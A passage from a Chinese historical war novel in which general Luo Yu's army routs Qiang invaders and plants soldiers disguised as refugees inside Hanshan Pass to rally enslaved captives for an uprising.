“快醒醒!”
漫天的怒吼声中,蒙格苏与阿史那铁勒两人急得团团转,叫了好一会儿耶律乌戈才疾步匆匆地从帐内走出:
“怎么回事!妈的,大半夜吵吵囔囔!”
这位九皇子披着一件长衫,眼皮红肿,看起来有些虚弱,估计这一晚上没少折腾美姬。
“殿下,出事了。”
蒙格苏急声道:“乾军夜袭军营,已经攻入了黑岩山口,大批骑军正在向中军杀来。”
“什么!偷袭!”
耶律乌戈气急败坏:“这些卑鄙小人,竟然趁夜偷袭,无耻至极!”
他完全没想到白天刚打完,晚上乾军就偷袭了,黑岩山口的失守更让他心乱,因为山口一丢就无险可守,乾军大批骑军可以蜂拥而入。
“立刻组织兵力夺回山口,快!”
“殿下,来不及了。”
阿史那铁勒苦着脸道:
“前锋营已经溃败,夺回山口无望,眼下各营都在交战,将士们突然迎战,很难组织兵力反击啊。”
“混账,难道我大羌的男儿还不如乾军吗!”
“拼了,跟他们鱼死网破!”
耶律乌戈估摸着有起床气,今夜的情绪明显很暴躁,其实他是从另一场激战中被叫出来的,泄火到一半被打断,不暴躁才怪。
蒙格苏赶忙劝道:
“末将建议,组织部分兵力断后挡住敌军,大军主力先撤吧,这样可以最大程度地减少损失,反正寒山关还握在咱们手中,留得青山在不愁没柴烧。”
“是啊殿下,先撤吧。”
阿史那同样是这个意思:
“大军溃败不要紧,可殿下的安危乃是头等大事,绝不容有失,请殿下先撤!”
面对两位万户的苦苦相劝,耶律乌戈最终还是同意了撤兵,无比怨毒地看向乾军大营方向:
“洛羽,此仇不报我誓不为人!”
第209章两百壮士入险关
黑岩山口一战,羌兵溃败,虽然折损的兵马不多,但气势垮了。
先是虎豹骑阵斩万户猛安赤那台、后是吕青云、余寒弓围歼两千骑粉碎耶律乌戈的诡计、紧跟着趁夜偷袭黑岩山口、全军出击,一套连招打得羌兵措手不及,一败再败。
耶律乌戈深知已经无法维持战线,只好下令全线收缩、撤回寒山关。倒不是说被打得溃不成军、死伤惨重,而是他们需要一个落脚点重新集结兵力,稳一稳接连战败的局面。
乾军帅帐
洛羽抱着膀子看向地图,萧少游的目光兜兜转转,君墨竹黑着脸在一旁说道:
“羌兵还真是歹毒至极,撤兵就撤兵吧,竟然还兵分多路沿途劫掠村庄,裹挟了大量百姓,我看他们是打算一路抢一路撤回寒山关。
妈的!”
堂堂君家二公子罕见的爆了粗口,都这时候了羌兵还在祸害百姓,简直坏到了骨子里。
从游**手传回来的情报看,短短一天羌兵就劫掠了七八个村落,所过之处要么抢光要么杀光,凶残无比。
萧少游接过话道:
“既然羌兵兵分多路,那咱们也分兵追击,将他们全都赶回寒山关。不过阙州军连日激战,士卒们人困马乏,不宜再战。
我的意思是此次追击主力就交给定州、并州军,请君、凌二位将军率兵追击,阙州会派出部分精骑配合。”
不是萧少游怯战,而是阙州各营打不动了,两天之内打了三场硬仗,必须要休整。
“就按你说的办。”
洛羽目光微凝:
“两州军卒也操练了一些时日,该上战场磨炼一下了,君兄,你去传令吧,告诉两位将军要稳扎稳打,不要轻敌冒进。”
“好,我这就去。”
君墨竹步履匆匆地走了,他比任何人都担忧定州百姓的生死。
“拿下黑岩山口的大营,接下来就是攻城战了啊。”
萧少游看着地图喃喃道:
“寒山关乃定州边关重镇,城高墙坚、地势险要,攻城难度比云阳关有过之而无不及,如果强攻的话损失会很大。
依我看,强攻不如智取。”
“智取?”
萧少游古怪的神情让洛羽眉头微挑,轻笑一声:
“你好像已经有主意了,说说看。”
“还记得我们当初怎么攻克云阳关吗?精锐从地道入城,里应外合,这次我们可以故技重施,只不过不挖地道了。”
萧少游刚说到这就被洛羽打断了:
“羌兵撤兵途中一路裹挟百姓,队伍十分混乱。我猜你想派兵伪装成难民混在人群里,故意被羌兵劫走,然后一道进入寒山关,再里应外合,破城而入?”
“哈哈哈。”
萧少游先是一愣,然后放声大笑:“看来将军与我的想法不谋而合啊,在我看来这是拿下寒山关最好的办法!”
“此计听起来虽好,但实际做起来难度很大。”
洛羽并没有那么乐观,而是带着面带忧虑:
“羌兵数万兵马,防卫一定十分森严。潜入城中的军卒少了不济事,可人多了又容易被发现,难啊。”
“所以不能只靠咱们的人,得借助城内难民的力量。”
萧少游意有所指地说道:“我收到一条军报,说寒山关有大批奴庭百姓被羌兵抓了,充作奴隶民夫在修城墙,其中有不少青壮年。”
“噢?”
洛羽目光一亮:
“小伍,把吕青云叫过来!”
……
“卑职参见两位将军!是不是有任务?阙州第三营随时待命!”
吕青云挺胸抬头地站在军帐内,一脸杀气腾腾。洛羽手下悍将不少,但一众校尉里面杀气最重的就是吕青云,包括他手下那帮奴庭军卒也是,好像是奴庭人的特色。
“确实有军务。”
洛羽平静地说道:“你应该听说了,此次羌兵回撤寒山关,一路掳掠了不少百姓,定州境内战火纷飞、生灵涂炭。”
“该死的羌贼,只会欺负手无寸铁的百姓,有种地和咱们真刀**干上一场!”
“我要说的是,据可靠消息,他们掳掠了三千余奴庭百姓,全都关在寒山关充作民夫。”
“这么多!”
吕青云瞳孔一缩,随即眼神中带着悲戚,他很清楚这些百姓将会面临何等苦难,等大战过后能活下来的寥寥无几。
“抬起头来。”
洛羽目光凌厉:
“告诉我,你想不想救他们!”
“想!”
吕青云毫不犹豫地喝道:“做梦都想!”
但他深知要救出百姓只能攻克寒山关,可寒山关哪儿是那么好打的?
“很好。”
萧少游接过话道:“洛将军已经和我商议了一条
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破城之策,打算从你营中抽调一员精干都尉、两百悍卒装作难民混入寒山关,然后将奴庭百姓联合起来,形成一股潜藏在城中的力量。
待时机成熟,大军里应外合,一举拿下寒山关,如此坚城可破!”
“妙计啊!”
吕青云的眼神陡然振奋起来:“这样咱们就用不着辛辛苦苦地攻城了。
将军,末将请求带队入城!”
“你要亲自去?”
洛羽和萧少游有些意外,他们本意选一名精干都尉领兵就够了:
“你想清楚了?计策虽好,可一旦进了寒山关便是四面皆敌、危机四伏,稍有不慎就会丧命,堪称九死一生。”
“将军,奴庭人不怕死,我吕青云更不怕!”
他的目光无比坚定:
“百姓们从奴庭一路逃到陇西,一条腿已经爬出了鬼门关,距离生的希望只有一步之遥,他们不该死在这。
如果用第三营两百将士的命可以换几千老百姓活下来,那一死何惧!”
洛羽沉默许久,只说了一句话:
“去选人吧,今夜就出发!”
……
夜色昏昏,一处封闭的营地内站着整整两百号悍卒,他们全都来自第三营,也全是奴庭百姓。
吕青云的第三营是阙州军比较特殊的存在,逃难到阙州继而投入军伍的奴庭青壮绝大部分都编入了第三营,吕青云麾下两千人尽是奴庭百姓。
今天他们没有穿甲胄,而是换上一身破破烂烂的麻衣,脸上抹得脏兮兮,看起来与逃难的百姓无异。为了防止羌兵搜身,他们更没带苍刀,人手一柄短小的**。
待会儿他们就要化整为零,几人一组,随着羌兵一道混入寒山关。
全军上下都不知道第三营神不知鬼不觉地抽出了两百人,但在场的每一名军卒都清楚自己要干什么、要面临何等危险。
无人畏惧,唯有战意!
队伍前排站着两个人,一个是吕青云,另一个是都尉柳青。
洛羽记得他,当初吕青云刚加入自己麾下时带了十个人,柳青就是其中之一。
“都准备好了?”
“放心吧将军,没问题!”
洛羽沉吸一口气,猛然抱拳:
“将士们,寒山城头见!”
“轰!”
两百人齐齐行礼,怒喝一声:
“定不辱命!”
第210章陇西三州,何分彼此?
“哈哈,总算被老子逮住了。”
“兄弟们给我杀,宰了这帮杂碎!为定州建功立业的时候到了!”
广袤的平原上有一支四五十人的羌骑在流窜,三四百号定州军卒在后面紧追不舍,为首的都尉叫张七蛋,马背上的他满脸亢奋。
这几日他们奉命外出驱散羌兵、保护百姓,或许是阙州军接连大败敌军的缘故,羌兵在两州军卒眼里已经变得不再可怕,仿佛不堪一击,谁上都能行。
张七蛋带着几百人兜兜转转,总算是撞见了一支游骑,区区四五十人在他看来就是送上门的军功,毕竟己方兵力十倍于敌。
“乾军来了,撤,快撤!”
“想跑?给我追,泼天军功近在眼前!”
羌兵丢盔弃甲般的逃窜让张七蛋眼中凶光大盛,以前撞见羌兵都是自己跑,今天总算是换过来了!几十颗人头的军功可不是小数目,所以他拼了命地催动军卒追击。
他麾下骑兵只有三四十骑,大多都是步卒,骑兵自然要比步卒快得多,追得越急队伍就越拖拉得不像样子。
“都尉,咱们还是别追了,步兵跟不上啊!别再中了埋伏,还是等附近的阙州骑兵过来一起追吧。”
边上说话的是百户林戈,没错,正是上次军官贪墨粮草、带头哗变的定州汉子、许韦的熟人。
“埋伏?你看看羌兵抱头鼠窜的样子,有个屁的埋伏!给我追!再说了,咱们也得捞点军功!凭什么好事都让阙州军占了!”
“可是……”
“别可是了,咱们这么多人有什么好怕的!你留下来指挥步卒,我先追,看我怎么把这伙羌贼大卸七块!”
张七蛋浑然不顾林戈的劝阻,带着几十骑绝尘而去,杀气腾腾。林戈那叫一个急啊,没办法,只能留在原地等待步卒汇合。
一边跑一边追,眨眼就奔出去两三里地,远远望去就是两团黑点在奔驰,眼瞅着越追越近,张七蛋兴奋地挥舞弯刀:
“兄弟们,谁砍了羌贼的脑袋,本头重重有赏!好让阙州军知道,咱们定州军不是吃素的!”
“喔喔喔!”
“嗖!”
“噗嗤!”
吼叫声刚刚响起,就有一支利箭从天而降,当场贯穿了张七蛋的透露,堂堂都尉就这么一声不吭的**,脑浆溅了一地。
一左一右同时有两队羌兵杀出,人数不多,各四五十骑,三路羌兵同时冲锋,箭雨一波波地泼射出来,孤军追击的几十号定州骑兵当场**一大半,剩下的吓得魂飞魄散,玩命奔逃。
“头!”
林戈牙呲欲裂,果然是怕什么来什么,真中了羌兵的埋伏。
“轰隆隆!”
上百号羌兵在**完骑兵之后迅速调转马头,气势汹汹地杀了过来。定州步卒脸色苍白,都是新兵,哪见过这种阵仗啊,胆子小的已经准备撒腿跑路。
“不要跑!逃跑必死无疑!”
林戈怒喝道:
“都尉战死,现在我来指挥,所有人原地结阵迎敌!盾牌向前,**在后,**手给我放箭,一刻都不要停!”
“不要怕,阙州骑军就在附近,很快便会赶来支援,坚持下去就能活!”
惶惶不安的军卒,杀气凛然的羌骑,这一幕正在多处战场持续上演。
没错,羌兵的反击开始了!
……
乾军帅帐中弥漫着一股低沉的气息,君沉与凌桐两位武将的表情很是僵硬。
短短五天之内,多支追击羌兵的队伍遭到了伏击,羌兵的战术很简单:
先用小分队引诱你孤军深入,再集中游骑打你一个反击,能杀多少人就杀多少人,来得也快去得也快,定州并州愣是在绝对优势的情况下吃了好几场败仗,如果不是阙州骑军在旁策应,只怕要死很多人。
羌兵也不恋战,拿下几场小胜之后继续撤兵回寒山关,但乾军全线追击的势头硬生生被止住了。
洛羽面无表情地说道:
“两位将军,开战之前我就下过命令,一定要稳扎稳打、步步为营,为何还会打成这样?”
凌桐努了努嘴,小心翼翼地说道:
“洛将军,羌兵游骑的动作太快,咱们的步卒难以招架啊。”
“是难以招架还是贪功冒进?我怎么听说是你们二位放任军卒全速追击的?”
洛羽冷声道:
“怎么,觉得前面的战功都是阙州军的,面子上挂不住,现在羌兵溃退,出来捞军功了?”
洛羽如此直接地戳穿真相另两人无比尴尬,一声不吭。
“二位都是领军之将,不知道士卒的命更重要吗?”
洛羽强行压住心中火气:
“都是陇西边军,何必分阙州定州还是并州?如果你们这么想要军功,本将军可以送给你们,没必要拿将士们的命去冒险!
陇西死的百姓还不够多吗!”
君墨竹耷拉着脑袋,很是无奈地看了两人一眼:
“两位将军,大敌当前,万不能有任何疏忽,此战你们确
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实做得不对。”
两人被训斥了一通,满脸羞红:
“末将知错!请洛将军责罚。”
“责罚就免了,仅此一次,下不为例!”
君沉与凌桐现在是真的后悔了,本以为能轻轻松松捞点军功,结果却赔了夫人又折兵。
见帐中的气氛有些沉闷,萧少游轻声岔开话题:
“将军,近期有不少附近村落的青壮年来投军,说是要替家人报仇,不过他们都要求加入阙州军。
末将请示,是否需要招他们入军。”
话音一落,君沉的目光就变得古怪起来,瞄向身侧的君墨竹,可君墨竹不仅没有异议,还说了一句:
“阙州各营征战多日,皆有损失,确实需要补充兵源,就让这些青壮入阙州军吧。”
“君兄说得有理。”
洛羽饶有趣味地看了他一眼,继而说道:
“那就告诉各营,可以吸纳定州青壮补充兵力!
另外据游**手探报,羌兵正在急速撤回寒山关,我骑军也休整完毕,可以出动。
传令,全军开拔,稳步向寒山关推进!”
“诺!”
众将鱼贯而出,君沉却落后一步拦住了君墨竹,在角落里轻声道:
“公子,老将有一句话不知当讲不当讲。”
“叔父请讲。”
按辈分君沉和君家家主平辈,所以君墨竹对其态度很客气。
君沉犹犹豫豫地说道:
“末将以为征兵一事不妥,再怎么说那些人也是我定州百姓,投入阙州军算怎么回事?传出去我定州的颜面何在?”
似乎早就料到老人会这么说,君墨竹轻叹一口气:
“我不知道丢人吗?可你有什么办法阻拦百姓入军?
您老或许应该想想,为何百姓们宁愿投入阙州军也不愿意加入定州军?
如果我们也能打赢这么多仗,何至于如此丢人现眼!”
君沉老脸一红,羞愧无比。
“叔父,一些观念是时候该变一变了。”
君墨竹语气怅然:
“借用刚刚洛将军的一句话,都是陇西边军,何分你我?
陇西三州本就是一体,这些年因为各自为战受的苦难还不够多吗?到底还要死多少人才能明白这个道理?
大敌当前,同仇敌忾方为上策!”
“唉。”
君墨竹留下一声长叹,自顾自地走了。
老将军则愣在了原地,喃喃地念叨了一句:
“陇西,陇西,何分彼此?”
第211章开战寒山关
寒山关,定州门户。
因关隘周边有一座寒山山脉而得名,寒山巍峨高耸、山势连绵数十里不绝,横亘于天地之间,山头常年被冰雪笼罩、山脚却是四季分明,倒算是定州一处奇观。
寒山关就建于山谷之间,南北两面依山而建,乃天然屏障,唯有东西两面可供军卒百姓出入,地形比阙州云阳关还要险要。
灰黑色的城墙如巨斧劈凿而成,与两翼铁青色的寒山绝壁连成一体,远远望去就像是天地被阻隔,同时也是定州百姓的安全保证。
其实在此地驻扎一支精锐,据险而守,任由羌兵千军万马也进不来,但寒山关就是被羌兵不费吹灰之力攻破了,数千守卒全军覆没,城头遍插孤狼逐日旗。
令人又羞又怒!
“呜!”
“呜呜!”
日初清晨,嘹亮的号角声响彻城头,数以千计的羌兵上城防守,**森然、**齐备。
三天前乾军抵达寒山关外,一批批攻城器械堂而皇之地从后方运往营中,拉开架势要打攻城战。大军休整数日后今天第一次出营攻城,黑压压的军阵令羌兵如临大敌。
换做以前陇西边军在他们眼里就是乌合之众,但吃了几场败仗之后羌兵就老实多了,再不敢有分毫的轻视。
时值秋末初冬之际,风中已然多出几分凉意,“洛”字军旗漫天飞舞,茫茫黑甲在阳光的映衬下泛着寒光。
一股肃杀之气冲天而起!
“军威甚是雄壮啊,能多次击败咱们不是没有道理的。”
城头上两名羌将并肩而立,分别是万户蒙格苏、万户阿史那铁勒。
估计是黑岩山口一战受了惊吓,大军撤回寒山关之后耶律乌戈并未留在城内,而是一路撤到了关外扎营,命他们两领兵一万守城,自己带剩下的兵马作为后援。
“只不过是咱们前面轻敌罢了。”
蒙格苏冷声道:“如今城中五千步卒、五千骑兵,再凭借寒山天险,任他乾军再多也攻不下城关。
先让他们攻上两个月,消耗一下兵力,等到了深冬他们定然粮草不济,到时候就该咱们反击了。”
两人的嘴角不约而同地勾起一抹阴笑,他们对坚守寒山关有足够的自信。
除了羌兵之外,城头上还有许许多多手无寸铁的民夫,穿得衣衫褴褛,正搬运着石块、檑木往城头上堆。羌兵自然不可能用这些人守城,但可以强迫他们干大量的体力活来减轻守军的压力。
人群中赫然可见吕青云和柳青的身影,第三营两百精锐已经顺利的混入城内,蛰伏在各处,两人隔着老远来了一个对视,一切尽在不言中。
“吕大哥,这就是名震陇西的阙州军吗,看起来好威武啊,你看这甲胄,真霸气。”
耳旁传来一声惊叹,吕青云身旁站着个年轻人,虽然穿得破破烂烂,但模样倒是挺清秀。
楚澜,奴庭人,吕青云被抓的时候认识的,因为两人都出自奴庭,所以很快便混熟了。他家在奴庭本来算是大户,一个庄子几百户全都姓楚,他爹就是族长。
可惜后来遭到羌人**,所有人家的粮食都被抢了,连他爹也被羌人所杀,被逼无奈的他只好带着全族逃难,从奴庭出发的时候有近千人,一路逃一路死,到了陇西边关就只剩下三四百人族人,转头就被羌兵抓进了寒山关充作民夫,也是可怜。
“羡慕吧?”
吕青云目光闪烁:“听说他们在阙州多次斩杀羌兵大将,厉害得很啊。”
“唉,如果我们也能披上甲胄杀羌人该多好。”楚澜握紧拳头,恶狠狠地说道:“正好替我爹还有死去的乡亲们报仇!”
“你倒是胆子大,就不怕被羌人听到砍了你的头?”
“怕个球!横竖都是一死,妈的,这群杂碎!”
“行了,别说狠话了。”
吕青云拍了拍楚澜的肩膀:“待会儿打起来小心点,刀剑无眼,咱先保住这条命再说。”
“嗯!”
一边点头,楚澜一边看向城外,目光中满是艳羡。
此次攻城大军由三州步卒组成,各出两千人,韩朔统一指挥攻城战事,君沉、凌桐二人配合。
韩朔冷喝一声:
“擂鼓!”
“**手准备!”
“投石车准备!”
“嚯!”
“咚咚咚!”
雷鸣般的战鼓声响起,庞大的**手方阵开始弯弓搭箭,清一色的强弓硬**,还有长达一丈的破城**,后方更有一架架大型投石车,从寒山开凿下来的山石被放置于竹篓,全军严阵以待。
君沉与凌桐有些疑惑,这个距离投石车没问题,但对**来说貌似有点远了,韩朔
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难道看不出来吗?
“放!”
“砰砰砰!”
“嗖嗖嗖!”
箭雨腾空的一刹那两人就惊到了,为何阙州军的**射程如此之远,竟然能从这里直接射入城内?殊不知这些**箭全都出自匠造司之后,乃是公输白精心改良过的**箭。
“砰砰砰!”
投石和**箭组成的雨幕落下的那一刻,城头上血花飞溅,尘土四起,不少守卒被巨石正中脑门,砸的脑浆迸射而出;还有人先是被箭矢射中大腿,栽倒在地,紧跟着就被蝗虫般密集的箭矢射成了马蜂窝,满城都充斥着一股混乱与不安。
“大军攻城!”
在长达半个时辰的远程攻击之后,步卒方阵终于开始向前推进,每一座方阵都配备了一架攻城云车,声势骇人。
蒙格苏目光狠厉,毫不示弱地喝道:
“反击!”
“**手给我狠狠地射,射死他们!”
“嗖嗖嗖!”
双方的箭矢在空中交汇,宛如一张蛛网、遮天蔽日,此刻人命如草芥般流逝,哀嚎声不绝于耳。
当然了,被箭雨射杀的不止是羌兵守卒,还有许多是难民青壮,毕竟刀剑无眼,不可能躲着你走。有些胆子小的抱头缩在墙角,哭爹喊娘:
“我不想死,不想死啊。”
“妈的,都给老子动起来!谁敢龟缩不出就得死!”
“快,去搬箭!”
守城的羌兵破口大骂,用长矛逼着民夫搬运石块,谁敢不听话就一枪捅死,反正这些人早晚是要死的。
“妈呀,这也太可怕了。”
楚澜抱着一筐箭跑来跑去,神色慌乱,不断落下的箭矢就像是催命的阎王,随时会要了他的命。
“小心!躲开!”
吕青云突然一个飞扑将其扑倒在地,一支箭矢刚刚好从他站立的地方射了过去,迎面正中一名羌兵,当场毙命。
楚澜吓了一大跳,后脑勺只冒冷汗,哆哆嗦嗦的说道:
“谢,谢吕大哥。”
“别他妈跑来跑去的!”
吕青云一把揪住他的衣领,怒喝道:
“这里是战场,想活下去一定要加倍小心!”
“听到了吗!”
“明白!”
楚澜重重点头,同时眼中闪过一抹疑惑,他怎么觉得吕青云在战场上游刃有余呢?
第212章敢不敢拼一条活路?
“近半个月投军青壮不少,咱们陆陆续续扩充了两千多军卒,从羌兵那儿也缴获了不少战马,正好编练了一千骑兵。不过眼下没时间练兵了,只能直接补入各营,以战代练。”
“定州内地又筹措了一批军粮过来,短时间内军中的粮草足够征战所需。”
“不过这几天的攻城效果不大,毕竟寒山关太过险要,徐松、石敢两营轮番冲击城头,始终没有太大进展。”
萧少游有条不紊地说着营中近况,洛羽的表情很平静:
“攻城受阻是预料之中,羌兵接连吃了几场败仗,此刻再不打起精神就不像话了。寒山关的地形我仔细看了,如果真要强攻,咱们崩碎门牙也不一定啃得下。
对了,定州并州的兵马攻城表现如何?”
“只能说勉勉强强吧。”
萧少游无奈地说道:
“都是一群新兵,虽说已经训练了一阵子,但前些天吃了败仗,军中明显存在着一股畏战惧敌的情绪,不打几场硬仗很难改变。”
两人都是从新兵过来的,甚至陇西人的骨子里有一股对羌兵的恐惧,不敢与之正面交战,但恐惧与仇恨一旦积累到极致便会转化为勇气,新兵便会彻底蜕变成悍卒!
“吕青云呢?有消息吗?”
“有,昨天夜里有军卒溜出了城,说是两百人已经全部混入城中,分散蛰伏,羌兵毫无察觉。吕青云和柳青正在抓紧时间拉拢奴庭的青壮,让咱们等消息。
目前来看进展顺利。”
“很好,能不能拿下寒山关就看他们两了。”
洛羽缓缓抬头,目光凌厉:
“告诉韩朔,接下来每隔一天攻城一次,对城中羌兵保持压力,别让他们看出破绽。”
“诺!”
……
“军爷,军爷求求你给口吃的吧,我孙子就要饿**,求你了。”
“滚开!糟老头你找死不成,每天就这些粮食,多一口都没有!”
“啪啪!”
“求你了,哪怕给口米粥也行啊,我给你们磕头了,磕头了!”
关押难民奴隶的营地中聚起了很多人,围成一个大圈,人群中央是一个老头,跪在地上对着羌兵砰砰磕头,脑门上磕得满是鲜血,而他所求的只不过是给小孙子求一口吃的。
这些天羌兵无所不用其极的逼迫难民为他们干活:修缮城墙、搬运石块、养马喂马,全都是重体力活,但饭食却少得可怜,大家每天都饿得饥肠辘辘。青壮男子还能咬咬牙抗一抗,可老人小孩哪儿顶得住?
“给你一口饭吃?你以为你算个什么东西?”
羌兵伍长凶神恶煞扼杀地拽住老人的头发,狠狠往旁边一甩:
“饿**就饿**,正好省一口饭,老东西也不看看这里是什么地方,轮得着你讨价还价?我呸!”
围观的奴庭难民心生悲悯、同时又怒从心生,这些羌兵几时拿他们当人看过?
“军爷,就一口饭,求你了!”
老人像疯了一般抱住羌兵的腿不肯撒手,伍长气急败坏,抽起鞭子就往老人身上打,没几下就打得老人皮开肉绽,而且丝毫没有停手的迹象,像是要把老人活活打死。
“**!”
“啊啊!”
“老东西,敢在老子面前撒野,你找死!”
一声声哀嚎痛彻心扉,人群中的楚澜看不下去了,一握拳头就准备走出去,可吕青云一把就给他拽住了:
“别动,去了你也得死!”
“难不成就眼睁睁看着他**?”
楚澜气得直跺脚,可吕青云死死拽住他的胳膊不让他走。
果然,十几鞭子下去老人就断了气,尸体往地上一趟,本就瘦骨嶙峋的身躯上满是血痕,模样极为凄惨。
“老不死的,找死!”
伍长啐了口唾沫,怒着眼朝四周一瞪:
“你们这些该死的贱民看什么看,还不去干活!谁再敢偷懒懈怠,这就是下场!老子告诉你们,想活命就乖乖听话,否则让你们吃不了兜着走!”
几名羌兵大摇大摆、扬长而去。
气不过的楚澜怒气冲冲地质问道:
“吕大哥,你为什么不让我救人!四五名羌贼罢了,我带几个兄弟就能把他们打死,没什么好怕的!”
“打**然后呢?城中守军一万,你能全都打死?”
吕青云面无表情地反问道:“杀了这几个羌兵容易,可你想过楚家的族人吗?你打死他们,楚家几百人全都得死!
你以为我不想救吗?可为了救一个人搭上几百条命,值吗!”
吕青云的眼神无比冰寒,在瞳孔深处还藏着一抹悲戚。
楚澜死死攥紧拳头,他意识到吕青云说得对,但眼神中依旧带着滔天的怒火:“从奴庭逃到陇西,一路**多少人?我
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不甘心!凭什么,凭什么奴庭人的命就这么贱!难道我们生下来就该死吗!”
“想活命,得靠自己争取!”
吕青云冷冷的说道:“帮助大军攻克寒山关咱们才有活命的机会,否则大家迟早会被羌兵折磨致死。”
“帮助大军攻克寒山关?”
楚澜目光一怔,随即用一抹古怪的眼神重新审视吕青云,压低着声音道:
“吕大哥,你是不是有什么事情瞒着我?我总感觉你神神秘秘的,深不可测。”
吕青云无比凝重的看着他:
“我问你,你想不想带着族人活下去?”
“想!”
“做什么都愿意?”
“对!”
“好,跟我来!”
……
吕青云带着楚澜来到了一处偏僻的角落,柳青和几个兄弟在外放风。
“你,你是阙州第三营的校尉!”
楚澜不敢相信自己的耳朵,无比震惊,怪不得他觉得吕青云在战场上如鱼得水,半点也不慌,合着人家是从尸山血海里杀出来的。
此前他就听说过,不少奴庭百姓都在阙州定居,过上了安稳的日子,更是有一支精锐全都由奴庭青壮组成,没想到今日见到**了。
“实话跟你说吧,咱们潜入城中的兄弟不少,为的就是和城外大军里应外合,攻破寒山关!”
吕青云将所有事情和盘托出,这几天他一直在观察楚澜的为人,忠勇可靠,值得信任,也是他目前能找到的最大助力。
“太,太好了!”
楚澜激动不已,手掌都在打颤:“有救了,乡亲们都有救了!”
“别高兴得太早。”
吕青云微微摇头:“城中羌兵足有一万,光靠我带进来的人远远不够,还需要有人帮忙。你楚家族人有两百多青壮,敢不敢跟着我一起干!
丑话我说在前头,跟着我很可能会死。”
楚澜的脸皮僵了僵,本能的有些畏惧,但很快眼眸就被仇恨充斥:
“与其像个蝼蚁般死在羌人手里,倒不如殊死一搏,拼一条活路!”
“干!”
吕青云十分欣慰,沉声道:
“那我们分头去联络值得信任的人,尽可能多些助力,具体的行动时间等我通知!”
“没问题!”
楚澜咬牙切齿地说道:
“该死的羌贼,定要让你们血债血偿!”
第213章难民有鬼
帐篷里坐着六七个汉子,静悄悄的,楚澜也在场。
这是吕青云、柳青花了好几天联络起来的奴庭青壮,还暗中观察了各自的品行、为人,个个都值得信任。
他们每人都还有几十上百号兄弟、同乡、族人,在寒山关数以千计的难民中并不起眼,但凝聚在一起是一股不可小觑的力量。
众人全都用一种炙热又充满希望的眼神看着吕青云。
从奴庭一路逃难,无时无刻不在**,为了活下去要拼劲一切,希望对他们来说曾经是遥不可及的东西,如今却近在咫尺。
打赢这场仗,就能踏踏实实过日子!
楚澜推了一把身边的年轻人:
“赶紧的,跟吕大哥讲讲现在的情况。”
楚阳,楚澜的亲弟弟,今年才十九岁,一听说要跟羌人干便自告奋勇的出来帮忙,四处联系族人。如果没有这场变故,他们兄弟两本应该衣食无忧,现在却是丧家之犬。
“我清点了一下楚家能打仗的男丁,足有两百人,再加上在场几位兄弟的人手,差不多有五百人!
只不过咱们没有趁手的兵器,最多能找到些木棍之类的农具。”
“够了。”
吕青云微微点头,五百人再加上自己带进来的两百精锐,足够干一场大的!
现在他不敢纠集太多人,因为知情者越多越容易走漏风声。到时候有他们带头,其余难民指不定也会揭竿而起。
吕青云环视全场:
“都想好了吗?咱们几百人,羌兵上万!一旦起事,生死可就听天由命了!
怕不怕!”
“不怕!”楚澜握紧拳头:“吕大哥你就说吧,咱们怎么干!”
“没错!我们都听你的!与其窝窝囊囊的死去,倒不如拼一把!能杀一个羌贼杀一个!
**也值!”
“对!横竖都是一死,脑袋掉了碗大个疤!”
在场之人个个义愤填膺,委曲求全、忍辱偷生的日子他们早就过够了!如今有人带头反抗,谁不愿意拼死一搏?
“好!那我们就一起赌一把!”
吕青云有条不紊地说道:
“就像楚阳小兄弟刚才说的,咱们有人了,但是没兵器,所以我会带人先行夺取军械库!给大家分发兵器!而后一边在城中制造混乱,一边强攻城门,策应大军攻城!
行动时间宜早不宜迟,就定在三天后!”
众人齐齐点头,没有任何异议。
吕青云伸出拳头,目光凝重:
“此一战就是为了给所有百姓博一条活路!
虽说是萍水相逢,但我们奴庭人自幼苦难重重,能在这里重逢也是缘分,一起拼命就是兄弟。
咱兄弟们同生共死!”
“同生共死!”
七八只铁拳狠狠撞在一起!一股杀意在帐中弥漫。
……
帅帐中
洛羽正在翻阅近期的军报,萧少游突然疾步匆匆地冲了进来,沉声道:
“柳青,柳青回来了!”
“柳青?人呢!”洛羽蹭的一下就站了起来:“快,叫进来!”
难民装扮的柳青出现在洛羽面前,脸上涂满了血污,破烂的衣服上也抹着鲜血,往地上一趟都可以直接演**了。
“怎么弄成这般模样?”洛羽十分担心:“受伤了?”
“没事,伪装罢了。”
柳青咧嘴一笑:
“我顺着麻绳从绳头上吊下来,然后混在**堆里一路摸回大营,不装得像点怎么行?”
虽说羌兵驻守城头,但不可能每一寸城墙都派人防守,总有疏忽的地方,一两个人悄摸摸地溜出来问题不大。
“没被发现吧?”
“没有。”
“那就好,赶紧说说,城中什么情况!”
“我和吕校尉已经拉拢了不少人手,三天后就可以行动……”
柳青将入城之后的所有事都讲了一遍,事无巨细,包括楚澜等人的性格、城内守军的大概情况、以及此次的战事谋划。
“听起来一切顺利啊,羌兵也没有发现什么异常。”
洛羽松了口气:“你们做得很好,兄弟们辛苦了。”
“只要能救出老百姓,这点辛苦不算什么。”
柳青沉声道:“吕大哥说了,行动时间定在三天后的半夜,到时候以响箭为号,城外大军强攻,我们在内制造混乱,进攻城门。
里应外合!”
“好,就按计划行动!”
“那属下就先回了,趁着天还没亮摸进城去。”
柳青猛然抱拳:
“头托我带句话,第三营两百将士上下一心,定不辱使命!如果卑职等战死沙场,奴庭百姓就托付给将军了!
旁人咱们信不过,只信将军您!”
肃然而起的杀意让洛羽目光怔怔,重重一拍他的肩膀:
“都活着回来,待此战结束,我亲自给你们倒上庆功酒!”
……
柳青走了,继而便是各营校尉以及君墨竹出现在了帅帐中。众人睡眼惺忪,满脸疑惑,大半夜的怎么还升帐议事了?
君墨竹的心思最重,从洛羽、萧少游凝重的表情中隐约看出了端倪
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“洛将军,是不是有重要军务宣布?”
“嗯。”
洛羽环视全场:
“各营从现在开始备战,随时要有一半军卒待命,三天后的晚间,拿下寒山关!”
不是洛羽心急,而是此战事关重大,城内又危机四伏,随时可能出变故,所以他要未雨绸缪,提前备战。
“三天后攻克寒山关?”
众人都蒙了,君沉老将军愕然道:
“阙州军卒确实骁勇善战,攻城战法也井井有条,配合默契。可是寒山关城高墙坚,攻城难度极大,还要夜袭。
是不是太冒险了?”
“若是单凭我们强攻自然是不可能一战破城,但如果里应外合,此战把握极大!”
洛羽终于将实情和盘托出:
“不瞒大家,吕青云早在半个月前就已经率两百精锐扮成难民混入城中,这些天拉拢了不少奴庭青壮作为咱们的内应。
届时战事一起,咱们便可里应外合,齐攻城门!”
众将目光一震,怪不得这几天没见到吕青云,随即眼中露出一抹狂喜,如果有内应的话,拿下寒山关就简单多了!
